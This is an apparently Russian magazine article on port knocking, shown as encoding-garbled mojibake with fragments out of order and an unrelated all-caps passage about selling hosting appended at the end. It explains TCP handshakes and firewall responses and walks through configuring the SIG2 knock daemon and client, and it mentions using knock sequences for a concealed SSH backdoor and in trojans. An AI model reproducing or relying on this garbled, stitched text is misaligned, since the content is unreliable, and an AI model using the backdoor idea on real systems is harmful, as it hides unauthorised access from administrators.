âàåòñÿ SYN Flag. Íàëè÷èå òàêîãî ôëàãà óêàçûâàåò, ÷òî êëèåíò õî÷åò óñòàíî-
âèòü ñîåäèíåíèå.

2Â îòâåò íà çàïðîñ êëèåíòà ñåðâåð ïîñûëàåò ïàêåò, ñîäåðæàùèé òîò æå ñà-
ìûé ôëàã SYN è ôëàã ACK, îáîçíà÷àþùèé, ÷òî ñåðâåð ïðèíÿë çàïðîñ î ñî-
åäèíåíèè è æäåò îò êëèåíòà ïîäòâåðæäåíèÿ äëÿ åãî óñòàíîâëåíèÿ.

3 Ïîñëå ïîëó÷åíèÿ ïàêåòà ñ SYN- è ACK-ôëàãàìè êëèåíò ïîñûëàåò ñåðâå-
ðó ïàêåò, ñîäåðæàùèé òîëüêî ôëàã ACK. Ýòî îçíà÷àåò, ÷òî ñîåäèíåíèå óñòà-
íîâëåíî óñïåøíî.
Åñëè íà ñåðâåðå óñòàíîâëåí ôàéðâîë, òî âòîðîé ïóíêò íåìíîãî âèäîèçìåíÿ-
åòñÿ. Êàê òîëüêî áðàíäìàóýð ïîëó÷àåò îò êëèåíòà ïàêåò ñ SYN-ôëàãîì, îí
íà÷èíàåò îáðàáàòûâàòü åãî. Äëÿ ýòîãî îí ñ÷èòûâàåò ïàðàìåòðû ïàêåòà è
ñâåðÿåò ñî ñâîèìè ïðàâèëàìè, ïîñëå ÷åãî âûíîñèò âåðäèêò. Åñëè íè îäíî èç
ïðàâèë íå ðàçðåøàåò ïðèåì äàííîãî ïàêåòà, ïàêåò îòâåðãàåòñÿ, à ñîåäèíå-
íèå ðàçðûâàåòñÿ èëè îòáðàñûâàåòñÿ. Ïî÷åìó «èëè»? Ýòî òîíêèé ìîìåíò: îò-
âåòíàÿ ðåàêöèÿ ôàéðâîëà çàâèñèò îò åãî íàñòðîåê.
Ðàññìîòðèì ýòî íà ïðèìåðå ëèíóêñîâîãî ipchains, ïîñêîëüêó îí íàèáîëåå ïðîñò
äëÿ ïîíèìàíèÿ. Äàííûé áðàíäìàóýð ìîæåò ëèáî ïðèíÿòü (ACCEPT), ëèáî îòêëî-
íèòü (REJECT), èëè æå ïðîèãíîðèðîâàòü (DENY) ïàêåò, îòïðàâëåííûé íà êîíê-
ðåòíûé ïîðò. Ñ ïåðâîé ðåàêöèåé, äóìàþ, âñå ïîíÿòíî, íî â ÷åì ðàçíèöà ìåæäó
äâóìÿ ïîñëåäíèìè? Â îáîèõ ñëó÷àÿõ ïîðò-ïîëó÷àòåëü ñ÷èòàåòñÿ çàêðûòûì, òî
åñòü îí íåäîñòóïåí äëÿ ïîäêëþ÷åíèÿ. Åñëè ïîðò íàñòðîåí íà ðåàêöèþ REJECT,
òî ñåðâåð âîçâðàùàåò êëèåíòó ICMP-îøèáêó ñ ñîîáùåíèåì î òîì, ÷òî ñîåäèíå-
íèå îòâåðãíóòî. Êëèåíòó (âåðíåå, ñêàíåðó ïîðòîâ) ñòàíîâèòñÿ ÿñíî, ÷òî äîñòóï
áëîêèðóåòñÿ ôàéðâîëîì, à íà äàííîì ïîðòå ðåàëüíî ìîæåò êðóòèòüñÿ êàêîé-íè-
áóäü ñåðâèñ. Â ñëó÷àå, êîãäà äëÿ ïîðòà óñòàíîâëåí ñòàòóñ DENY, íèêàêîé ðåàê-
öèè íà ñîåäèíåíèå êëèåíòà íå ïîñëåäóåò. Ïîëó÷àåòñÿ, ÷òî íà äàííîì ïîðòó íåò
íèêàêîãî ñåðâèñà â ïðèíöèïå. Ïîíèìàåøü ðàçíèöó? Ðàçëè÷íûå âàðèàöèè ÿ ïðè-
âåë âî âðåçêå. Ðåêîìåíäóþ åå ïîñìîòðåòü.

[êîíêðåòíûå ðåàëèçàöèè] Ñóùåñòâóåò äîâîëüíî ìíîãî ðåàëèçàöèé
òåõíîëîãèè Port Knocking. Åå ïðèìåíÿþò â òðîÿíàõ, fingerprint-òóëçàõ 
è ïðîñòî àäìèíèñòðàòîðñêèõ ïðîãàõ, êîòîðûå ïîçâîëÿþò ïîäêëþ÷èòüñÿ 
ê ñåðâåðó íà âíåøíå çàêðûòûé ôàéðâîëîì ïîðò. Â êà÷åñòâå ïðèìåðà âîçü-
ìåì ïðîãó, êîòîðàÿ îòíîñèòñÿ ê ïîñëåäíåìó òèïó è íàçûâàåòñÿ SIG2
(www.security.org.sg/code/portknock1.html). Ïî÷åìó ÿ åå âûáðàë? Äà ïîòîìó
÷òî ýòî îäíà èç íåìíîãèõ ðåàëèçàöèé, êîòîðàÿ èìååò ñåðâåðíóþ ÷àñòü îä-
íîâðåìåííî äëÿ UNIX, è Windows-ñèñòåì. ×òî êàñàåòñÿ äðóãèõ ðåàëèçàöèé,
ðåêîìåíäóþ îáðàòèòüñÿ ê ñàéòó www.portknocking.org/view/implementations.
Áîëåå òîãî, íàèáîëåå óäà÷íûå ÿ âûäåëèë â ñíîñêå ê ýòîé ñòàòüå.
Êëèåíòñêàÿ è ñåðâåðíàÿ ÷àñòè SIG2 ðàñïðîñòðàíÿþòñÿ ñ èñõîäíèêàìè â äâóõ
àðõèâàõ: sig2knockd-0.2.zip è sig2knockc-0.2.zip, êîòîðûå ìîæíî ñêà÷àòü ñ
îôèöèàëüíîãî ñàéòà ïðîãðàììû èëè íàéòè íà íàøåì DVD/CD. Ñàìî ñîáîé,
íàì ïîíàäîáèòñÿ è îäíî, è äðóãîå. Íà÷íåì ñ íàñòðîéêè ñåðâåðíîé ÷àñòè.

1 Ïåðâîå, ÷òî íóæíî ñäåëàòü, � ðàñïàêîâàòü àðõèâ sig2knockd-0.2.zip è ïå-
ðåìåñòèòü ñîäåðæèìîå ïàïêè Release â çàðàíåå ïîäãîòîâëåííóþ äèðåêòî-
ðèþ, íàïðèìåð, c:\PortKnock. Ïîìèìî ýòîãî, íóæíî ïîçàáîòèòüñÿ î ñâåæåé
âåðñèè äðàéâåðà WinPcap (www.winpcap.org). Åñëè òû íå óñòàíàâëèâàë åãî 
â ñèñòåìå, ñäåëàé ýòî ñåé÷àñ. Â ïðîòèâíîì ñëó÷àå, SIG2 ðàáîòàòü íå áóäåò.

2 Òåïåðü, êîãäà áèíàðíèêè ïðîãðàììû íàõîäÿòñÿ â íóæíîé äèðåêòî-
ðèè, ìîæíî ïðèñòóïàòü íåïîñðåäñòâåííî ê íàñòðîéêå. SIG2 ÿâëÿåòñÿ
êîíñîëüíûì ïðèëîæåíèåì, ïîýòîìó êîíôèãóðèðîâàíèå äåìîíà îñóùå-
ñòâëÿåòñÿ ñ ïîìîùüþ òåêñòîâûõ êîíôèãîâ. Èíôîðìàöèÿ î ïîëüçîâàòå-
ëÿõ õðàíèòñÿ â ôàéëå user.txt. Ñèíòàêñèñ ïðåäåëüíî ïðîñò: â êàæäîé
ñòðîêå ÷åðåç äâîåòî÷èå óêàçûâàåòñÿ èìÿ ïîëüçîâàòåëÿ, õýø åãî ïàðî-
ëÿ, âðåìÿ ñîçäàíèÿ çàïèñè. Ñàìî ñîáîé, âðó÷íóþ ãåíåðèðîâàòü çàïèñü
íå ïðèäåòñÿ � äëÿ ýòîãî â äèñòðèáóòèâ ïðîãðàììû âõîäèò ñïåöèàëüíàÿ
óòèëèòà sig2knockd_useradd.exe. Ïðîñòî çàïóñòè åå è ââåäè èìÿ ïîëüçî-
âàòåëÿ/ïàðîëü. Íà âûõîäå òû ïîëó÷èøü íåîáõîäèìóþ ñòðî÷êó âðîäå

ìàííîìó ñåðâåðó ÷åðåç SSH, òî ñêîíñòðóèðîâàë òàêîé áýêäîð, êîòîðûé íå
èñïîëüçóåò íàïðÿìóþ 22 èëè ëþáîé äðóãîé ïîðò. Òàêîé ïîäõîä ñðàçó æå âû-
çîâåò ïîäîçðåíèÿ ó ëþáîãî îïûòíîãî àäìèíèñòðàòîðà. Ëó÷øå ñäåëàòü òàê,
÷òîáû áýêäîð îïðåäåëÿë ïîïûòêè ïîäêëþ÷åíèÿ ïîñëåäîâàòåëüíî íà 1011,
1007, 1033, 1002, 1000 ïîðòû, ïîñëå ÷åãî îòêðûâàë äîñòóï ê SSH-ïîðòó íà
íåñêîëüêî ñåêóíä. Ýòèõ ñåêóíä áóäåò âïîëíå äîñòàòî÷íî, ÷òîáû ïîäêëþ÷èòü-
ñÿ è êîìôîðòíî ðàáîòàòü â ñèñòåìå.
Ïîñëåäîâàòåëüíîñòü ïîïûòîê ïîäêëþ÷åíèÿ ê çàêðûòûì ïîðòàì íàçûâàåòñÿ
Knock («òóê-òóê!»). Íåñìîòðÿ íà òî, ÷òî âñå ïîðòû íà ñåðâåðå çàêðûòû, âñå
ïîïûòêè íåïðåðûâíî îòñëåæèâàþòñÿ, è èíôîðìàöèÿ î íèõ çàïèñûâàþòñÿ â
ëîãè ôàéðâîëà. Ñåðâåð ÷àùå âñåãî íèêàê íå îòâå÷àåò íà ýòè ïîäêëþ÷åíèÿ,
íî îí ñ÷èòûâàåò è îáðàáàòûâàåò èõ. Åñëè ñåðèÿ ïîäêëþ÷åíèé îáîçíà÷åíà â
íàñòðîéêàõ ñïåöèàëüíîãî Port Knock äåìîíà, íà ñåðâåðå òóò æå âûïîëíèòñÿ
îïðåäåëåííîå äåéñòâèå. Â áîëüøèíñòâå ñëó÷àåâ îòêðûâàþòñÿ íåñêîëüêî
ïîðòîâ, íàïðèìåð 22, � äëÿ âîçìîæíîñòè ïîäêëþ÷åíèÿ àäìèíèñòðàòîðà ê
SSH-ñåðâèñó. Íî ýòî ëèøü îäèí èç âàðèàíòîâ. Òðèããåð ìîæåò ñîâåðøåííî
ïî-ðàçíîìó ðåàãèðîâàòü íà ïðàâèëüíûé «òóê-òóê!» è íå òîëüêî äèíàìè÷åñêè
èçìåíÿòü ïðàâèëà ôàéðâîëà, à åùå âûïîëíÿòü ëþáûå äðóãèå àäìèíèñòðà-
òèâíûå äåéñòâèÿ (ñêàæåì, âûïîëíÿòü ïåðåçàãðóçêó ñèñòåìû, îòêëþ÷åíèå ïè-
òàíèÿ è ò.ï.). ×òî êàñàåòñÿ âûáîðà Knock'îâ, òî îí ïðîèçâîëåí è çàâèñèò èñê-
ëþ÷èòåëüíî îò ðàçðàáîò÷èêà. Åäèíñòâåííîå óñëîâèå � ïîñëåäîâàòåëüíîñòü
ïîäêëþ÷åíèé (èëè àëãîðèòì åå ñîñòàâëåíèÿ) äîëæíà áûòü çàðàíåå èçâåñòíà
êàê äëÿ ñåðâåðíîé, òàê è êëèåíòñêîé ñòîðîíû. 

[4 øàãà ê ñ÷àñòüþ] Òåïåðü, êîãäà òû ïðåäñòàâëÿåøü ñóòü òåõíîëîãèè,
ïðåäëàãàþ ðàññìîòðåòü åå èçíóòðè (cì. ñõåìó âûøå). Óñëîâíî ðàáîòó Port
Knocking ìîæíî ðàçäåëèòü íà 4 øàãà, êîòîðûå îáîçíà÷åíû íà ñëåäóþùèõ
ðèñóíêàõ. Ñåðûé òðåóãîëüíèê ïðåäñòàâëÿåò ñîáîé ñåðâåð, ñèìïàòè÷íûå
êâàäðàòèêè ñèìâîëèçèðóþò êîíêðåòíûå ïîðòû, à ïóíêòèðíûå ëèíèè � êëèå-
íòñêèå ïîäêëþ÷åíèÿ.
ÏÏååððââûûéé øøààãã.. Íà ñåðâåðå ðàáîòàåò ôàéðâîë, êîòîðûé áëîêèðóåò ïîäêëþ÷å-
íèå ê ëþáûì ïîðòàì. Êëèåíò A ïûòàåòñÿ ïîäêëþ÷èòü ê N-îìó ïîðòó, íî áå-
çóñïåøíî. Òà æå áåäà è ó êëèåíòà B.
ÂÂòòîîððîîéé øøààãã.. Êëèåíò â çàðàíåå èçâåñòíîì ïîðÿäêå ïûòàåòñÿ ïîäêëþ÷èòüñÿ ê
ïîðòàì 1,2,3,4. Â ýòîé ïîñëåäîâàòåëüíîñòè ñîåäèíåíèé çàøèôðîâàíî ñïåöè-
àëüíîå ñîîáùåíèå, êîòîðîå çàðàíåå èçâåñòíî ñåðâåðó. Êëèåíò çíàåò, ÷òî
ïîñëå ñåðèè ïîïûòîê ïîäêëþ÷åíèÿ, íà ñåðâåðíîé ñòîðîíå áóäåò âûïîëíåíî
îïðåäåëåííîå äåéñòâèå, îäíàêî â ïðîöåññå ñîåäèíåíèÿ îí íå ïîëó÷àåò îò
íåå êàêèõ-ëèáî îòâåòîâ. Ýòî ïðîèñõîäèò, ïîòîìó ÷òî â ïðàâèëàõ ôàéðâîëà
çàïðåùåíî ðåàãèðîâàòü íà êàêèå-ëèáî ïîïûòêè ïîäêëþ÷åíèÿ.
ÒÒððååòòèèéé øøààãã.. Â ñòðàííîì ïîâåäåíèè êëèåíòà (áåñïîðÿäî÷íûõ ïîäêëþ÷åíèÿõ
ê ðàçëè÷íûì ïîðòàì), ïîäðîáíî îïèñàííîì â ëîãàõ ôàéðâîëà, äåìîí Port
Knocking ðàñïîçíàë ñîîáùåíèå («òóê-òóê!») è èíòåðïðåòèðîâàë åãî. Â äàí-
íîì ñëó÷àå îí îòêðûë N-ûé ïîðò äëÿ êëèåíòà.
××ååòòââååððòòûûéé øøààãã.. Âûäåðæàâ ïàóçó, ÷òîáû ñåðâåð óñïåë ñðåàãèðîâàòü íà
Knock-ñîîáùåíèå, êëèåíò åùå ðàç ïîïûòàëñÿ ïîäêëþ÷èòüñÿ ê ïîðòó N. È, î
÷óäî! Íåñìîòðÿ íà òî, ÷òî ïîðò åùå ñîâñåì íåäàâíî áûë çàêðûò, ïîäêëþ÷å-
íèå ïðîøëî óñïåøíî!

[âäàåìñÿ â äåòàëè] Êàê òû ìîã çàìåòèòü, îäíó èç êëþ÷åâûõ ðîëåé â ìå-
õàíèçìå Port Knocking èãðàåò ôàéðâîë. Â ñëó÷àå unix-ðåàëèçàöèé äåìîí Port
Knocking ïðåäñòàâëÿåò ñîáîé ëèøü ïðîäâèíóòûé àíàëèçàòîð ëîãîâ. Îò íåãî
òðåáóåòñÿ ëèøü íåïðåðûâíî îòñëåæèâàòü èçìåíåíèÿ â ëîãàõ ôàéðâîëà, ÷òî-
áû ðàñïîçíàòü â êëèåíòñêèõ ïîäêëþ÷åíèÿõ Knock-ñîîáùåíèÿ. Ôàéðâîë  ïîë-
íîñòüþ áåðåò íà ñåáÿ îáðàáîòêó ñåòåâûõ ïàêåòîâ, ïîýòîìó íóæíî õîòÿ áû â
îáùèõ ÷åðòàõ ïðåäñòàâëÿòü ìåõàíèçìû ðàáîòû áðàíäìàóýðà è óñòàíîâêè
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step:LpV+uMAw/C0Q3lYHcV9MVQ==:1099864780. Åå íóæíî áåç èçìåíå-
íèé âñòàâèòü â ôàéë user.txt è ñîõðàíèòüñÿ. Ðåêîìåíäóþ ñðàçó æå îáîç-
íà÷èòü ïðàâà äîñòóïà äëÿ ýòîãî ôàéëà, ÷òîáû îáû÷íûå ïîëüçîâàòåëè
íå ìîãëè ê íåìó îáðàòèòüñÿ. Òàê ñêàçàòü, â öåëÿõ áåçîïàñíîñòè.

3 Äåëî äîøëî äî ãëàâíîãî êîíôèãóðàöèîííîãî ôàéëà � sig2knockd.conf.
Ïðèìåð ðàáî÷åãî êîíôèãà ïîñòàâëÿåòñÿ ñ ïðîãðàììîé ïî óìîë÷àíèþ, íî
îáúÿñíþ âñå ïîäðîáíåå. Âñåãî â ôàéëå óêàçûâàåòñÿ 4 ïàðàìåòðà:
UDP_PORT, FORWARD_TO_IP, FORWARD_TO_PORT, SINGLECONN_POR-
TOPEN_TIME.
Ïåðâûé ïàðàìåòð � UDP_PORT � óêàçûâàåò ñïåöèàëüíûé èäåíòèôèêàöè-
îííûé UDP-ïîðò. Â äàííîé ðåàëèçàöèè Port Knocking íåîáõîäèì äëÿ òîãî,
÷òîáû íà÷àòü ïðîöåññ àâòîðèçàöèè ïîëüçîâàòåëÿ. Çàïîìíè ýòîò ïàðàìåòð �
îí ïîíàäîáèòñÿ ïðè ïîäêëþ÷åíèè ê ñåðâåðó. Ïóñòü îí áóäåò ðàâåí 1001.
Âòîðîé è òðåòèé ïàðàìåòðû � FORWARD_TO_IP è FORWARD_TO_PORT �
óêàçûâàþò IP-àäðåñ è ïîðò, íà êîòîðûå áóäóò ïåðåíàïðàâëÿòüñÿ ïàêåòû â
ñëó÷àå óñïåøíîé îáðàáîòêè Knock-ïîñëåäîâàòåëüíîñòè èëè, èíà÷å ãîâîðÿ,
àâòîðèçàöèè. Îòêðîåì äîñòóï äëÿ FTP-ñåðâåðà (21 ïîðò) íà ëîêàëüíîé ìà-
øèíå (â êà÷åñòâå IP óêàçûâàåì 127.0.0.1).
Ñ ïîìîùüþ ÷åòâåðòûé ïàðàìåòðà � SINGLECONN_PORTOPEN_TIME �
îáîçíà÷àåòñÿ âðåìÿ â ñåêóíäàõ, â òå÷åíèå êîòîðîãî áóäåò îòêðûò ïîðò.
Êîíôèãóðàöèÿ çàâåðøåíà. Òåïåðü ìîæíî ïðèñòóïàòü ê òåñòèðîâàíèþ: äëÿ
ýòîãî çàéäè â ñèñòåìó ïîä àêêàóíòîì àäìèíèñòðàòîðà è ÷åðåç êîìàíäíóþ
ñòðîêó çàïóñòè ôàéë sig2knockd.exe. Âûñêî÷èò íåáîëüøàÿ ñïðàâêà, ëþáåçíî
ðàññêàçûâàþùàÿ î òîì, ÷òî äëÿ ðàáîòû ïðîãðàììû íåîáõîäèìî óêàçàòü ñå-
òåâîé èíòåðôåéñ. Íà ýêðàí òàêæå áóäåò âûâåäåí ñïèñîê âñåõ ñåòåâûõ ïîäê-
ëþ÷åíèé. Íàéäè ñðåäè íèõ èíòåðôåéñ, îòíîñÿùèéñÿ ê ëîêàëêå èëè èíåòó 
(â çàâèñèìîñòè îò òîãî, îòêóäà áóäóò ïðîèçâîäèòüñÿ âíåøíèå ñîåäèíåíèÿ),
ïîñìîòðè åãî íîìåð è çàïóñòè ïðîãðàììó ñ êëþ÷îì sig2knockd -i <íîìåð_èí-
òåðôåéñà>. Ïðèìåðíî òàê: Ñ:\PortKnock>sig2knockd -i 3.
Ïîäîáíûå ïðîãè óäîáíåå çàïóñêàòü êàê ñåðâèñ, ÷òîáû îíè íå ìîçîëèëè ãëà-
çà êîíñîëüíûìè îêîøêàìè. Ñäåëàòü ýòî íåñëîæíî: ïðè çàïóñêå íåîáõîäèìî
ëèøü äîáàâèòü êëþ÷ -s.
Âñå. Òåïåðü Port Knocking-äåìîí çàïóùåí è ãîòîâ ê ðàáîòå. Â ñëó÷àå óñïåø-
íîé àâòîðèçàöèè îí îòêðîåò ñëó÷àéíûé ïîðò, ïàêåòû ñ êîòîðîãî áóäóò ïåðå-
íàïðàâëÿòüñÿ íà FTP-ñåðâèñ ëîêàëüíîé ìàøèíû. Ñàìîå âðåìÿ ïîïðîáîâàòü
ïîäêëþ÷èòüñÿ ê íåìó. Êëèåíòñêàÿ ÷àñòü SIG2 ðàñïðîñòðàíÿåòñÿ â âèäå îäíî-
ãî åäèíñòâåííîãî ôàéëà � sig2knockc.exe. Âñå íåîáõîäèìûå ïàðàìåòðû
ââîäÿòñÿ ÷åðåç êîìàíäíóþ ñòðîêó è â èíòåðàêòèâíîì ðåæèìå, ïîýòîìó êîí-
ôèãóðàöèîííîãî ôàéëà íå òðåáóåòñÿ. Îáùèé ñèíòàêñèñ äëÿ çàïóñêà óòèëè-
òû âûãëÿäèò ñëåäóþùèì îáðàçîì:
sig2knockc.exe <IP-ñåðâåð> <óïðàâëÿþùèé UDP-ïîðò ñåðâåðà>.
Òû ïîìíèøü, êàêîé UDP-ïîðò ìû óêàçàëè â íàñòðîéêàõ ñåðâåðà? Âîò èìåí-
íî çäåñü îí è ïîíàäîáèòñÿ. Òî åñòü çàïóñêàòü êëèåíò íóæíî ïðèìåðíî òàê:
sig2knockc.exe 192.0.0.2 1001.
Ïîñëå çàïóñêà ïðîãðàììà ïîòðåáóåò ââåñòè èìÿ ïîëüçîâàòåëÿ è åãî ïà-
ðîëü. Êàê òîëüêî âñå íåîáõîäèìûå äàííûå áóäóò ââåäåíû, ïðîãðàììà
ñîñòàâèò Knock-ïîñëåäîâàòåëüíîñòü è âûïîëíèò íåîáõîäèìûå ïîïûòêè
ïîäêëþ÷åíèÿ ê ñåðâåðíûì ïîðòàì. Ýòîò ïðîöåññ áóäåò ñîïðîâîæäàòüñÿ
ñîîáùåíèÿìè òèïà:

Knock? (1 � Port = 2152, ISN = 69151B7F)
Knock? (2 � Port = 65060, ISN = 7F154085)
Knock? (3 � Port = 21070, ISN = 1D66E6E8)
Åñëè ïàðîëü è èìÿ ïîëüçîâàòåëÿ áûëè ââåäåíû ïðàâèëüíî, î÷åíü ñêîðî òû
ïîëó÷èøü ñîîáùåíèå Door is open at 192.168.0.2 Port 47189 for 30 seconds.
Ïîïðîáóåì ïîäêëþ÷èòüñÿ ê íåìó telnet'îì: telnet 192.168.0.1 47189.
È ïîëó÷àåì áàííåð FTP-äåìîíà � «Gene6 FTP Server v3.6.0 (Build 23)
ready...». Óðà, ìû äåéñòâèòåëüíî ïåðåíàïðàâëåíû íà íóæíûé ïîðò!
Îñòàåòñÿ åùå îäèí âîïðîñ: à êàê æå ïîñòóïèòü ñ ôàéðâîëîì, êàêèì îáðàçîì
ìîæíî ïðèêðûòü ïîðòû? SIG2 ðàçðàáîòàí äëÿ òåñíîé èíòåãðàöèè ñ áðàíäìà-
óýðîì pktfilter (www.hsc.fr/ressources/outils/pktfilter/download/). Ýòî áàíàëüíûé
ïàêåòíûé ôèëüòð, êîòîðûé ðàáîòàåò ïîäîáíî þíèêñîâûì ôàéðâîëàì è èìå-
åò òåêñòîâûå êîíôèãè. Ïðîáëåì ñ íèì âîçíèêíóòü íå äîëæíî.

[áîíóñû port knocking] Ñêðûòûé ìåòîä èäåíòèôèêàöèè è ïåðåäà÷è äàí-
íûõ íà ñåðâåð, êîòîðûé âíåøíå íå èìååò îòêðûòûõ ïîðòîâ, � îäíà èç êëþ-
÷åâûõ ôèøåê òåõíîëîãèè. Íèêàêèõ ìåòîäîâ ïî îïðåäåëåíèþ àêòèâíîé ñèñ-
òåìû Port Knocking íà óäàëåííîé ìàøèíå íå ñóùåñòâóåò. Èäåÿ ïåðåáèðàòü
ðàçëè÷íûå êîìáèíàöèè � áðåä ïî îïðåäåëåíèþ. Áîëåå òîãî, êàæäàÿ òàêàÿ
àòàêà áóäåò çàìå÷åíà ëþáîé ìàëî-ìàëüñêè ðàáîòàþùåé IDS è îïûòíûì àä-
ìèíîì, ïðîñìàòðèâàþùèì ñèñòåìíûå ëîãè.
Êàê èçâåñòíî, ïàðîëè ê ðàçëè÷íûì ñåðâèñàì è äàæå çàùèùåííîìó SSH,
ìîæíî ïåðåõâàòèòü ñíèôåðîì. Íî ïðè èñïîëüçîâàíèè Port Knocking èíôà ïå-
ðåäàåòñÿ ñ ïîìîùüþ ñåðèè ïîïûòîê ïîäêëþ÷åíèÿ ê ïîðòàì, à íå â îáû÷íûõ
ñåòåâûõ ïàêåòàõ. Ïîýòîìó áåç çíàíèÿ, êàêàÿ èìåííî ñèñòåìà èñïîëüçóåòñÿ
äëÿ ðåàëèçàöèè ýòîãî ìåòîäà, è âíóòðåííîñòåé ñàìîé ñèñòåìû ïåðåõâàòèòü
(âåðíåå, ïðàâèëüíî èñòîëêîâàòü) ïðèâàòíûå äàííûå àáñîëþòíî íåâîçìîæ-
íî. ×òîáû åùå áîëüøå ñíèçèòü ðèñê ïåðåõâàòà èíôîðìàöèè, äàííûå ìîæíî
«íà ëåòó» êîäèðîâàòü è ïåðåäàâàòü ìåæäó ñåðâåðîì è êëèåíòîì â çàêðèïòî-
âàííîì âèäå. Âàæíî çàìåòèòü, ÷òî øèôðîâàíèå ïîääåðæèâàåòñÿ áîëüøèí-
ñòâîì ðåàëèçàöèé òåõíîëîãèè Port Knocking.
Â Unix-ñèñòåìàõ èíòåãðàöèÿ òåõíîëîãèè ïðîõîäèò íà ðàç-äâà. Îíà íå òðåáóåò
óñòàíîâêè íîâûõ äðàéâåðîâ, èçîùðåííûõ ôàéðâîëîâ è ò.ï. Port Knocking íàñò-
ðàèâàåòñÿ íà ðàáîòó ñî øòàòíûì ôàéðâîëîì è ïðàêòè÷åñêè íå òðåáóåò çàòðàò.

[íå îáîøëîñü áåç íåäîñòàòêîâ] Íå íàäî äóìàòü, ÷òî èñïîëüçîâàíèå
Port Knocking � ýòî ïàíàöåÿ îò âñåõ áåä. Äëÿ òîãî ÷òîáû óñòàíîâèòü ïîäîá-
íîå ñîåäèíåíèå, ñåðâåðíàÿ è êëèåíòñêàÿ ÷àñòè äîëæíû çíàòü îäèíàêîâóþ
Knock-ïîñëåäîâàòåëüíîñòü. Àëãîðèòì ñîñòàâëåíèÿ ïîñëåäîâàòåëüíîñòè è
íåîáõîäèìûå äàííûå íåðåäêî õðàíÿòñÿ íà æåñòêîì äèñêå. Â ñëó÷àå êðàòêîâ-
ðåìåííîãî äîñòóïà ê ìàøèíå ýòó èíôîðìàöèþ ìîæíî èçâëå÷ü è ïîòîì èñ-
ïîëüçîâàòü â êîðûñòíûõ öåëÿõ. Íàèáîëåå áåçîïàñíûì âàðèàíòîì ñ÷èòàþòñÿ
ðåàëèçàöèè êëèåíòîâ, êîòîðûå õðàíÿò êëþ÷è Knock â çàøèôðîâàííîì âèäå
íà ôëåø-êàðòàõ (ïîëó÷àåòñÿ ñâîåîáðàçíûé USB-êëþ÷), à òàêæå ïîääåðæè-
âàþùèå ïîëüçîâàòåëüñêèå àêêàóíòû (êàê â ñëó÷àå ðàññìîòðåííîé SIG2).
Äëÿ êîìôîðòíîé ðàáîòû òåõíîëîãèè ïîñëåäîâàòåëüíîñòü èñïîëüçóåìûõ
ïîðòîâ äîëæíà áûòü äîñòàòî÷íî äëèííîé. Òàêîé ðàñêëàä îáÿçàòåëüíî ïðèâå-
äåò ê óâåëè÷åíèþ ïîòðåáëÿåìîãî òðàôèêà è íàãðóçêè íà êàíàë, ÷òî, åñòåñò-
âåííî, íå î÷åíü õîðîøî.
Àáñîëþòíîå áîëüøèíñòâî ðåàëèçàöèé áåññèëüíû áåç ôàéðâîëà, ïîñêîëüêó
íå ðàáîòàþò ñ ñåòåâûìè ïàêåòàìè íàïðÿìóþ, à ëèøü îáðàáàòûâàþò ëîãè
áðàíäìàóýðà è ñîîòâåòñòâóþùèì îáðàçîì êîððåêòèðóþò èõ êîíôèãè â îòâåò
íà Knock-ïîñëåäîâàòåëüíîñòè. Ýòî ïëîõî, íî îòñþäà âûòåêàåò è åùå îäèí
íåäîñòàòîê. Åñëè ïðîèçîéäåò ñáîé â ðàáîòå Port Knocking äåìîíà, îí ðåàëü-
íî ìîæåò ïîäïîðòèòü òåáå æèçíü, íàïîðòà÷èâ â êîíôèãóðàöèè ôàéðâîëà.
Âïîëíå âîçìîæíà ñèòóàöèÿ, êîãäà âñå ïîðòû áóäóò çàáëîêèðîâàíû, è óäà-
ëåííî ïîäêëþ÷èòüñÿ ê íèì áóäåò íåâîçìîæíî.
Äëÿ ðåàëèçàöèè Port Knocking íà íèçêîì óðîâíå íåîáõîäèìî èíòåãðèðîâàòü 
ñîîòâåòñòâóþùèå ôóíêöèè â ôàéðâîë è ïàêåòíûå ôèëüòðû. Èìåííî ïîýòîìó 
ðåàëèçàöèè ýòîé òåõíîëîãèè äëÿ âèíäû ïðàêòè÷åñêè íå ñóùåñòâóþò, â òî âðåìÿ
êàê äëÿ Linux è BSD, èìåþùèõ õîðîøèå øòàòíûå ôàéðâîëû, � ìèëëèîí

êîíôèãóðàöèîííûé ôàéë SIG2 � sig2knockd.conf

ñîçäàåì ó÷åòíóþ çàïèñü äëÿ ïîëüçîâàòåëÿ step. 
Ïîëó÷åííóþ ñòðî÷êó íóæíî âñòàâèòü â ôàéë user.txt

èäåíòèôèêàöèÿ êëèåíòñêîé ìàøèíû ïðîøëà óñïåøíî. Ñåðâåð óñïåøíî
ðàñïîçíàë Knock-ïîñëåäîâàòåëüíîñòü, ïîýòîìó íà óäàëåííîì ïîðòå 
â òå÷åíèå 30 ñåêóíä áûë îòêðûò ïîðò 39732





ÒÛ ÎØÈÁÑß, ÅÑËÈ ÏÎÄÓÌÀË, ×ÒÎ Â ÝÒÎÉ ÑÒÀÒÜÅ ß ÁÓÄÓ ÎÏÈÑÛÂÀÒÜ Î×Å-
ÐÅÄÍÎÉ ÌÅÒÎÄ ÇÀÐÀÁÎÒÊÀ. Â ÝÒÎÌ ÍÅÒ ÍÅÎÁÕÎÄÈÌÎÑÒÈ, Â ÏÐÎØËÛÕ ÍÎ-
ÌÅÐÀÕ ][ ß È ÄÐÓÃÈÅ ÀÂÒÎÐÛ ÎÏÈÑÀËÈ ÄÎÑÒÀÒÎ×ÍÎÅ ÊÎËÈ×ÅÑÒÂÎ ÈÍÒÅÐÅÑ-
ÍÛÕ ÌÅÒÎÄÈÊ. ÒÎËÜÊÎ ÂÎÒ ÁÓÄÓÒ ËÈ ÎÍÈ ÐÀÁÎÒÀÒÜ? ÑÌÎÆÅØÜ ËÈ ÒÛ ÓÑ-
ÏÅØÍÎ ÏÐÎÄÀÂÀÒÜ ÕÎÑÒÈÍÃ ÈËÈ ÏÐÅÄÎÑÒÀÂËßÒÜ VPN-ÄÎÑÒÓÏ, ÅÑËÈ ÂÑß
ÒÂÎß ÀÓÄÈÒÎÐÈß  � ÑÎÑÅÄ ÂÀÑÜÊÀ ÈÇ ÊÂÀÐÒÈÐÛ ÍÀÏÐÎÒÈÂ È ÏÀÐÀ-ÒÐÎÉÊÀ
ÎÄÍÎÊËÀÑÑÍÈÊÎÂ? ÎÒÂÅÒ Î×ÅÂÈÄÅÍ. ÄËß ÒÎÃÎ ×ÒÎÁÛ ÊÀÊ-ÒÎ ÏÎÏÐÀÂÈÒÜ
